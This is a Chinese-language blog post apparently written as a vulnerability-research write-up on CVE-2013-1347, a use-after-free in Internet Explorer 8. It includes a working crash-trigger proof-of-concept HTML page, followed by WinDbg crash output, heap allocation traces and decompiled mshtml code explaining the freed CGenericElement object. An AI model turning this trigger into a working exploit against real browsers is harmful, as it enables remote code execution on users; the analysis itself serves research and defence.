CVE-2013-1347Microsoft Internet Explorer 8 遠端執行程式碼漏洞

Ox9A82發表於2016-07-29

[CNNVD]Microsoft Internet Explorer 8 遠端執行程式碼漏洞(CNNVD-201305-092)

        Microsoft Internet Explorer是美國微軟(Microsoft)公司釋出的Windows作業系統中預設捆綁的Web瀏覽器。
        Internet Explorer 訪問尚未正確初始化或已被刪除的物件的方式中存在一個遠端執行程式碼漏洞,該漏洞可能以一種攻擊者可以在當前使用者的上下文中執行任意程式碼的方式損壞記憶體。攻 擊者可能擁有一個特製的網站,旨在利用此漏洞透過IE瀏覽器,然後誘使使用者檢視該網站。

POC:

<!doctype html> <!-- required -->
<HTML>
<head>
</head>
<body>
<ttttt:whatever id="myanim"/><!-- required format -->
<script>
    f0=document.createElement('span');
    document.body.appendChild(f0);

    f1=document.createElement('span');
    document.body.appendChild(f1);

    f2=document.createElement('span');
    document.body.appendChild(f2);

    document.body.contentEditable="true";
    f2.appendChild(document.createElement('datalist')); //has to be a data list
    f1.appendChild(document.createElement('table'));    //has to be a table

    try{
            f0.offsetParent=null;                       //required
    }catch(e){  }

    f2.innerHTML="";                                    //required
    f0.appendChild(document.createElement('hr'));       //required
    f1.innerHTML="";                                    //required
    CollectGarbage();
 </script>
</body>
</html>

 

開啟POC後造成的crash如下,已開啟頁堆和堆分配記錄。

(4dc.8f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=66c25100 ebx=17a72fb0 ecx=09106fc8 edx=00000000 esi=045fedc8 edi=00000000
eip=668ac400 esp=045fed9c ebp=045fedb4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc:
668ac400 8b01            mov     eax,dword ptr [ecx]  ds:0023:09106fc8=????????

看一下附近的彙編,如下所示。是很明顯的物件訪問,看前三句就知道是去物件虛表,然後索引虛擬函式去呼叫。crash出現在ecx

1:017> u 668ac400
mshtml!CElement::Doc:
668ac400 8b01            mov     eax,dword ptr [ecx]
668ac402 8b5070          mov     edx,dword ptr [eax+70h]
668ac405 ffd2            call    edx
668ac407 8b400c          mov     eax,dword ptr [eax+0Ch]
668ac40a c3              ret
668ac40b 33c0            xor     eax,eax
668ac40d e9f7aeffff      jmp     mshtml!CAttrArray::PrivateFind+0x8f (668a7309)
668ac412 90              nop

我們看下ecx,如下所示,ecx是不可訪的。那麼我只需要關注一下ecx到底是什麼就可以知道問題的關鍵了。

1:017> dc ecx
09106fc8  ???????? ???????? ???????? ????????  ????????????????
09106fd8  ???????? ???????? ???????? ????????  ????????????????
09106fe8  ???????? ???????? ???????? ????????  ????????????????
09106ff8  ???????? ???????? ???????? ????????  ????????????????
09107008  ???????? ???????? ???????? ????????  ????????????????
09107018  ???????? ???????? ???????? ????????  ????????????????
09107028  ???????? ???????? ???????? ????????  ????????????????
09107038  ???????? ???????? ???????? ????????  ????????????????

看下ecx是否屬於堆,如下所示,果然是屬於堆的,而且根據堆的分配回溯這是已經釋放的堆,明顯的UAF漏洞。我們具體看下這是什麼物件,

CGenericElement::`vector deleting destructor'

看來是CGenericElement物件的問題

1:018> !heap -p -a ecx
    address 097ecfc8 found in
    _DPH_HEAP_ROOT @ 12e1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    9771270:          97ec000             2000
    770290b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    76f15674 ntdll!RtlDebugFreeHeap+0x0000002f
    76ed7aca ntdll!RtlpFreeHeap+0x0000005d
    76ea2d68 ntdll!RtlFreeHeap+0x00000142
    7671f1ac kernel32!HeapFree+0x00000014
    6793b9a8 mshtml!CGenericElement::`vector deleting destructor'+0x0000003d
    67ab7dd0 mshtml!CBase::SubRelease+0x00000022
    67aac482 mshtml!CElement::PrivateRelease+0x0000002a
    67aab034 mshtml!PlainRelease+0x00000025
    67b0669d mshtml!PlainTrackerRelease+0x00000014
    687da6f1 jscript!VAR::Clear+0x0000005f
    687f6d66 jscript!GcContext::Reclaim+0x000000b6
    687f4309 jscript!GcContext::CollectCore+0x00000123
    68858572 jscript!JsCollectGarbage+0x0000001d
    687e74ac jscript!NameTbl::InvokeInternal+0x00000141
    687e4ea4 jscript!VAR::InvokeByDispID+0x0000017f
    687ee3e7 jscript!CScriptRuntime::Run+0x00002b80
    687e5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
    687e5bfb jscript!ScrFncObj::Call+0x0000008d
    687e5e11 jscript!CSession::Execute+0x0000015f
    687e612a jscript!COleScript::ExecutePendingScripts+0x000001bd
    687ec2d9 jscript!COleScript::ParseScriptTextCore+0x000002a4
    687ec0f1 jscript!COleScript::ParseScriptText+0x00000030
    67a668c7 mshtml!CScriptCollection::ParseScriptText+0x00000218
    67a666bf mshtml!CScriptElement::CommitCode+0x000003ae
    67a66c35 mshtml!CScriptElement::Execute+0x000000c6
    67a482b5 mshtml!CHtmParse::Execute+0x0000004a
    67a277cf mshtml!CHtmPost::Broadcast+0x0000000f
    67a27f36 mshtml!CHtmPost::Exec+0x000005f7
    67a28a99 mshtml!CHtmPost::Run+0x00000015
    67a289fd mshtml!PostManExecute+0x000001fb
    67a27c66 mshtml!PostManResume+0x000000f7

 

為了驗證我們的猜測,我們來看下這個發生UAF的物件是怎麼分配的。我們先對這個物件的解構函式下斷,操作如下。

 

 重新載入程式,別忘了設定.childdbg 1。每次執行都要重新設定感覺好煩,不知道怎麼設定儲存下來。斷在如下所示位置

 

我們來看一下堆的分配情況

1:018> dc esp
0478b104  00000000 0478b118 0478b120 17c0cff0  ......x. .x.....
0478b114  0478b1ac 00000000 00000000 04780000  ..x...........x.
0478b124  0478b268 1043ee18 00000000 00000004  h.x...C.........
0478b134  0478b168 68660521 00000000 00000000  h.x.!.fh........
0478b144  00000000 92627e19 0ef3eff0 0ee52ff0  .....~b....../..
0478b154  0478b1ac 0478b148 0478b1bc 686b4575  ..x.H.x...x.uEkh
0478b164  00000000 0478b184 686a9379 17c0cff0  ......x.y.jh....
0478b174  00000000 00000000 00000006 00000000  ................
1:018> !heap -p -a 17c0cff0  
    address 17c0cff0 found in
    _DPH_HEAP_ROOT @ 1161000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                18263618:         17c0cff0                c -         17c0c000             2000
          mstime!MMBaseBvr::TEBvr::`vftable'
    737e8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77954ea6 ntdll!RtlDebugAllocateHeap+0x00000030
    77917d96 ntdll!RtlpAllocateHeap+0x000000c4
    778e34ca ntdll!RtlAllocateHeap+0x0000023a
    6864137f mstime!ATL_malloc+0x00000016
    6865f084 mstime!MMBaseBvr::Init+0x00000051
    68665a60 mstime!MMTimeline::Init+0x00000071
    6865d07a mstime!CTIMEElementBase::InitTimeline+0x000000aa
    68656c68 mstime!CTIMEBodyElement::InitTimeline+0x0000001a
    6865d1b1 mstime!CTIMEElementBase::OnPropertiesLoaded+0x00000018
    6869bc4e mstime!CBaseBvr::Load+0x0000000e
    6865de26 mstime!CTIMEElementBase::Load+0x0000002d
    6865778d mstime!CTIMEBodyElement::Load+0x0000002d
    66974892 mshtml!CPeerHolder::InitAttributes+0x000000a9
    668675d0 mshtml!CPeerHolder::AttachPeer+0x000000b8
    668674b4 mshtml!CPeerHolder::Create+0x00000059
    6671fb66 mshtml!CPeerFactory::AttachPeer+0x0000000f
    668745d9 mshtml!CDoc::AttachPeer+0x0000013c
    668746e5 mshtml!CElement::addBehavior+0x000000d9
    6864ec3f mstime!AddBodyBehavior+0x000000a6
    686583ea mstime!CTIMEElementBase::Init+0x00000207
    6866a0b6 mstime!CTIMEAnimationBase::Init+0x0000002d
    668675a3 mshtml!CPeerHolder::AttachPeer+0x00000093
    668674b4 mshtml!CPeerHolder::Create+0x00000059
    6686a1c5 mshtml!CPeerFactoryUrl::AttachPeer+0x00000029
    66a5fc74 mshtml!CPeerFactoryUrl::AttachPeer+0x00000012
    668745d9 mshtml!CDoc::AttachPeer+0x0000013c
    66a3deb5 mshtml!CElement::EnsureIdentityPeer+0x00000044
    66986ca6 mshtml!CHtmPost::Exec+0x00000460
    66828a99 mshtml!CHtmPost::Run+0x00000015
    668289fd mshtml!PostManExecute+0x000001fb
    66827c66 mshtml!PostManResume+0x000000f7

到這裡我們對於這個物件的分配和重利用都摸清楚了。但是還是不清楚漏洞為何會觸發,接下來從poc的解析入手來分析一下為什麼會觸發這個漏洞。首先呼叫createElement方法建立一個元素,這個函式只要是接觸過js的都肯定用到過,但是檢視他的C++實現還是第一次。首先要對mshtml載入符號表。在IDA中搜尋函式createElement就可以得到下面的結果,可以看到CDocument::createElement,這個CDocument就是js中的document物件。

__int32 __stdcall CDocument::createElement(CDocument *this, BSTR a2, struct IHTMLElement **a3)
{
  CBase *v3; // ecx@1
  __int32 v4; // edi@1

  *a3 = 0;
  v4 = CDocument::CreateElementHelper(a2);//看來主要功能都在這裡實現
  if ( !v4 )//錯誤處理
  {
    v4 = (*(int (__stdcall **)(_DWORD, GUID *, struct IHTMLElement **))(v0 + 216))(0, &IID_IHTMLElement, a3);
    (*(void (__stdcall **)(_DWORD))(v0 + 224))(0);
  }
  return CBase::SetErrorInfo(v3, v4);
}

CDocument::CreateElementHelper()的程式碼如下

 

int __userpurge CDocument::CreateElementHelper@<eax>(int a1@<eax>, CDocument *a2@<ecx>, CDocument *a3@<edi>, BSTR a4)
{
  int v4; // esi@1
  struct CDoc *v5; // eax@2
  CTLSScriptSourceInfo *v6; // ecx@2
  UINT v7; // ST0C_4@2
  struct CMarkup *v8; // eax@2
  int v9; // esi@2
  CTLSScriptSourceInfo *v10; // ecx@2
  char v12; // [sp+7h] [bp-1h]@2

  v4 = a1;
  *(_DWORD *)a1 = 0;
  if ( a4 )
  {
    CDocument::Doc(a2);
    v5 = CDocument::Markup(a3);
    CTLSScriptSourceInfo::CTLSScriptSourceInfo(v6, (struct CBase *)&v12, a3, v5);
    v7 = SysStringLen(a4);
    v8 = CDocument::Markup(a3);
    v9 = CMarkup::CreateElement(v8, v4, a4, v7);
    CTLSScriptSourceInfo::~CTLSScriptSourceInfo(v10);
  }
  else
  {
    v9 = -2147024809;
  }
  return v9;
}

 

接著跟進 CMarkup::CreateElement()

 public: long __stdcall CDocument::createElement(unsigned short *, struct IHTMLElement * *)
?createElement@CDocument@@QAGJPAGPAPAUIHTMLElement@@@Z proc near

var_4= dword ptr -4
arg_0= dword ptr  8
arg_4= dword ptr  0Ch
arg_8= dword ptr  10h

mov     edi, edi
push    ebp
mov     ebp, esp
push    ecx
and     [ebp+var_4], 0
push    ebx
mov     ebx, [ebp+arg_8]
and     dword ptr [ebx], 0
push    esi
push    edi
push    [ebp+arg_4]     ; BSTR
mov     edi, [ebp+arg_0]
lea     eax, [ebp+var_4]
call    ?CreateElementHelper@CDocument@@QAEJPAGPAPAVCElement@@@Z ; CDocument::CreateElementHelper(ushort *,CElement * *)
mov     edi, eax
test    edi, edi
jnz     short loc_74D21DF2

再跟進CreateElement

.text:74D64BCC                 movzx   eax, byte ptr [edi+1]
.text:74D64BD0                 shl     eax, 4
.text:74D64BD3                 add     eax, offset ?g_atagdesc@@3QBVCTagDesc@@B ; CTagDesc const * const g_atagdesc
.text:74D64BD8                 jz      loc_74EB9A91
.text:74D64BDE                 mov     eax, [eax+8]
.text:74D64BE1                 lea     ecx, [ebp+arg_8]
.text:74D64BE4                 push    ecx
.text:74D64BE5                 push    edx
.text:74D64BE6                 push    edi
.text:74D64BE7                 call    eax

就是說CDocument::createElement這個函式會根據不同的建立目標呼叫不同的建立函式,poc中js是這麼寫的

 

f0=document.createElement('span');

那麼CDocument::createElement呼叫的也就是CSpanElement::CreateElement函式了。我們在IDA中找一下這個函式

signed int __stdcall CSpanElement::CreateElement(struct CHtmTag *a1, struct CDoc *a2, struct CElement **a3)
{
  LPVOID v3; // esi@1
  struct CElement *v4; // eax@2

  v3 = HeapAlloc(g_hProcessHeap, 8u, 0x28u);
  if ( v3 )
  {
    CElement::CElement(91, a2);
    *(_DWORD *)v3 = &CSpanElement::`vftable';
    v4 = (struct CElement *)v3;
  }
  else
  {
    v4 = 0;
  }
  *a3 = v4;
  return v4 != 0 ? 0 : -2147024882;
}

這裡可以看到分配了一塊堆記憶體

int __userpurge CElement::CElement@<eax>(int a1@<eax>, char a2, int a3)
{
  int v3; // ebx@1
  int v4; // edi@1
  CElement *v5; // ecx@1

  v3 = a3;
  v4 = a1;
  CBase::CBase();
  *(_DWORD *)(v4 + 36) = 0;
  *(_DWORD *)v4 = &CElement::`vftable';
  (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 112))(v3);
  CElement::ReplaceSecurityContext(v5);
  *(_DWORD *)(v3 + 8) += 8;
  _IncrementObjectCount();
  *(_DWORD *)(v4 + 28) &= 0xFFFBFFFF;
  *(_BYTE *)(v4 + 32) &= 0xFEu;
  *(_BYTE *)(v4 + 24) = a2;
  return v4;
}

我們可以在這裡學到:每個DOM元素建立時都會經過CElement::CElement函式來初始化,如果想攔截元素建立就對這裡下斷,因為這裡是元素建立的必經之路。

 

相關文章